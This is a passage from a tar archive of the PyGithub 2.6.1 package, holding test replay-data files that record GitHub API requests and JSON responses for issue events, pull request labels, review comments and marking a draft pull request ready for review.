owers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"merged","commit_id":"688208b1a5a074871d0e9376119556897439697d","commit_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/688208b1a5a074871d0e9376119556897439697d","created_at":"2012-05-27T10:29:07Z"},{"id":16350731,"node_id":"MDExOkNsb3NlZEV2ZW50MTYzNTA3MzE=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16350731","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"closed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T10:29:07Z"},{"id":28469043,"node_id":"MDEzOkFzc2lnbmVkRXZlbnQyODQ2OTA0Mw==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/28469043","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"assigned","commit_id":null,"commit_url":null,"created_at":"2012-11-03T08:19:40Z","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assigner":{"login":"ghost","id":10137,"node_id":"MDQ6VXNlcjEwMTM3","avatar_url":"https://avatars3.githubusercontent.com/u/10137?v=4","gravatar_id":"","url":"https://api.github.com/users/ghost","html_url":"https://github.com/ghost","followers_url":"https://api.github.com/users/ghost/followers","following_url":"https://api.github.com/users/ghost/following{/other_user}","gists_url":"https://api.github.com/users/ghost/gists{/gist_id}","starred_url":"https://api.github.com/users/ghost/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ghost/subscriptions","organizations_url":"https://api.github.com/users/ghost/orgs","repos_url":"https://api.github.com/users/ghost/repos","events_url":"https://api.github.com/users/ghost/events{/privacy}","received_events_url":"https://api.github.com/users/ghost/received_events","type":"User","site_admin":false}},{"id":98136335,"node_id":"MDEyOkxhYmVsZWRFdmVudDk4MTM2MzM1","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/98136335","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"labeled","commit_id":null,"commit_url":null,"created_at":"2014-03-02T18:55:09Z","label":{"name":"v1","color":"5319e7"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetLabels.txt0000644000175100001660000000127414756101563023751 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '214'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetReviewComments.txt0000644000175100001660000001532214756101563025515 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/pulls/31/comments?sort=updated&direction=desc&since=1970-01-01T00%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2d798fc8a4b3bdc86462c9e8e65753f25688b137c42e092cdc2d02ed94240f17"'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4957'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '43'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '83FE:276E:81B8DA:830FDC:64803F82')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357","pull_request_review_id":131593233,"id":197784357,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE5Nzc4NDM1Nw==","diff_hunk":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r","path":"test/IssueEvent.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","user":{"login":"eamanu","id":7605307,"node_id":"MDQ6VXNlcjc2MDUzMDc=","avatar_url":"https://avatars.githubusercontent.com/u/7605307?v=4","gravatar_id":"","url":"https://api.github.com/users/eamanu","html_url":"https://github.com/eamanu","followers_url":"https://api.github.com/users/eamanu/followers","following_url":"https://api.github.com/users/eamanu/following{/other_user}","gists_url":"https://api.github.com/users/eamanu/gists{/gist_id}","starred_url":"https://api.github.com/users/eamanu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eamanu/subscriptions","organizations_url":"https://api.github.com/users/eamanu/orgs","repos_url":"https://api.github.com/users/eamanu/repos","events_url":"https://api.github.com/users/eamanu/events{/privacy}","received_events_url":"https://api.github.com/users/eamanu/received_events","type":"User","site_admin":false},"body":"Test Case Dissmiss Review","created_at":"2018-06-25T12:54:34Z","updated_at":"2018-06-25T12:54:43Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":7,"original_line":7,"side":"RIGHT","original_position":6,"position":6,"subject_type":"line"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","pull_request_review_id":null,"id":1580134,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE1ODAxMzQ=","diff_hunk":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @todo No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch","path":"codegen/templates/GithubObject.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Review comment created for PyGithub\n","created_at":"2012-09-11T20:06:32Z","updated_at":"2012-09-11T20:06:32Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":73,"original_line":null,"side":"RIGHT","original_position":5,"position":5,"subject_type":"line"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testMarkReadyForReview.txt0000644000175100001660000004405014756101563025616 0ustar00runnerdockerhttps GET api.github.com None /repos/didot/PyGithub/pulls/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 06 Jan 2025 09:34:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"901d3f64b84da31f953948e0441a3506640f0febdd2658e5f9203e158635960f"'), ('Last-Modified', 'Mon, 06 Jan 2025 09:33:53 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-05 08:39:31 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4942'), ('X-RateLimit-Reset', '1736156899'), ('X-RateLimit-Used', '58'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '8919:5A83E:29F979F9:2B18FCD7:677BA3A2')] {"url":"https://api.github.com/repos/didot/PyGithub/pulls/2","id":2261552074,"node_id":"PR_kwDONmaxWc6GzIvK","html_url":"https://github.com/didot/PyGithub/pull/2","diff_url":"https://github.com/didot/PyGithub/pull/2.diff","patch_url":"https://github.com/didot/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/didot/PyGithub/issues/2","number":2,"state":"open","locked":false,"title":"From 'draft' to 'ready'","user":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"body":null,"created_at":"2025-01-06T09:16:39Z","updated_at":"2025-01-06T09:33:53Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f2bb7739e5f56e6bad4ccba2b37c3803e226f4a7","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":true,"commits_url":"https://api.github.com/repos/didot/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/didot/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/didot/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/didot/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/didot/PyGithub/statuses/38f873d46813974566ee39412f702ffbee8d152b","head":{"label":"didot:test-mark-ready","ref":"test-mark-ready","sha":"38f873d46813974566ee39412f702ffbee8d152b","user":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"repo":{"id":912699737,"node_id":"R_kgDONmaxWQ","name":"PyGithub","full_name":"didot/PyGithub","private":false,"owner":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/didot/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/didot/PyGithub","forks_url":"https://api.github.com/repos/didot/PyGithub/forks","keys_url":"https://api.github.com/repos/didot/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/didot/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/didot/PyGithub/teams","hooks_url":"https://api.github.com/repos/didot/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/didot/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/didot/PyGithub/events","assignees_url":"https://api.github.com/repos/didot/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/didot/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/didot/PyGithub/tags","blobs_url":"https://api.github.com/repos/didot/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/didot/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/didot/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/didot/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/didot/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/didot/PyGithub/languages","stargazers_url":"https://api.github.com/repos/didot/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/didot/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/didot/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/didot/PyGithub/subscription","commits_url":"https://api.github.com/repos/didot/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/didot/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/didot/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/didot/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/didot/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/didot/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/didot/PyGithub/merges","archive_url":"https://api.github.com/repos/didot/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/didot/PyGithub/downloads","issues_url":"https://api.github.com/repos/didot/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/didot/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/didot/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/didot/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/didot/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/didot/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/didot/PyGithub/deployments","created_at":"2025-01-06T08:03:32Z","updated_at":"2025-01-06T08:03:32Z","pushed_at":"2025-01-06T09:16:28Z","git_url":"git://github.com/didot/PyGithub.git","ssh_url":"git@github.com:didot/PyGithub.git","clone_url":"https://github.com/didot/PyGithub.git","svn_url":"https://github.com/didot/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14406,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":2,"watchers":0,"default_branch":"main"}},"base":{"label":"didot:main","ref":"main","sha":"3d84a47a88f6757514cb3ee91b829f53ba09e7e0","user":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"repo":{"id":912699737,"node_id":"R_kgDONmaxWQ","name":"PyGithub","full_name":"didot/PyGithub","private":false,"owner":{"login":"didot","id":1644708,"node_id":"MDQ6VXNlcjE2NDQ3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1644708?v=4","gravatar_id":"","url":"https://api.github.com/users/didot","html_url":"https://github.com/didot","followers_url":"https://api.github.com/users/didot/followers","following_url":"https://api.github.com/users/didot/following{/other_user}","gists_url":"https://api.github.com/users/didot/gists{/gist_id}","starred_url":"https://api.github.com/users/didot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/didot/subscriptions","organizations_url":"https://api.github.com/users/didot/orgs","repos_url":"https://api.github.com/users/didot/repos","events_url":"https://api.github.com/users/didot/events{/privacy}","received_events_url":"https://api.github.com/users/didot/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/didot/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/didot/PyGithub","forks_url":"https://api.github.com/repos/didot/PyGithub/forks","keys_url":"https://api.github.com/repos/didot/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/didot/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/didot/PyGithub/teams","hooks_url":"https://api.github.com/repos/didot/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/didot/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/didot/PyGithub/events","assignees_url":"https://api.github.com/repos/didot/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/didot/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/didot/PyGithub/tags","blobs_url":"https://api.github.com/repos/didot/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/didot/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/didot/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/didot/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/didot/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/didot/PyGithub/languages","stargazers_url":"https://api.github.com/repos/didot/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/didot/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/didot/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/didot/PyGithub/subscription","commits_url":"https://api.github.com/repos/didot/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/didot/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/didot/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/didot/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/didot/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/didot/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/didot/PyGithub/merges","archive_url":"https://api.github.com/repos/didot/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/didot/PyGithub/downloads","issues_url":"https://api.github.com/repos/didot/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/didot/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/didot/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/didot/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/didot/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/didot/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/didot/PyGithub/deployments","created_at":"2025-01-06T08:03:32Z","updated_at":"2025-01-06T08:03:32Z","pushed_at":"2025-01-06T09:16:28Z","git_url":"git://github.com/didot/PyGithub.git","ssh_url":"git@github.com:didot/PyGithub.git","clone_url":"https://github.com/didot/PyGithub.git","svn_url":"https://github.com/didot/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14406,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":2,"watchers":0,"default_branch":"main"}},"_links":{"self":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/2"},"html":{"href":"https://github.com/didot/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/didot/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/didot/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/didot/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/didot/PyGithub/statuses/38f873d46813974566ee39412f702ffbee8d152b"}},"author_association":"OWNER","auto_merge":null,"active_lock_reason":null,"merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":false,"commits":1,"additions":1,"deletions":0,"changed_files":1} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: MarkPullRequestReadyForReviewInput!) { markPullRequestReadyForReview(input: $input) { clientMutationId pullRequest { isDraft } } }", "variables": {"input": {"pullRequestId": "PR_kwDONmaxWc6GzIvK"}}} 200 [('Date', 'Mon, 06 Jan 2025 09:34:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-05 08:39:31 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1736156959'), ('X-RateLimit-Used', '11'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, 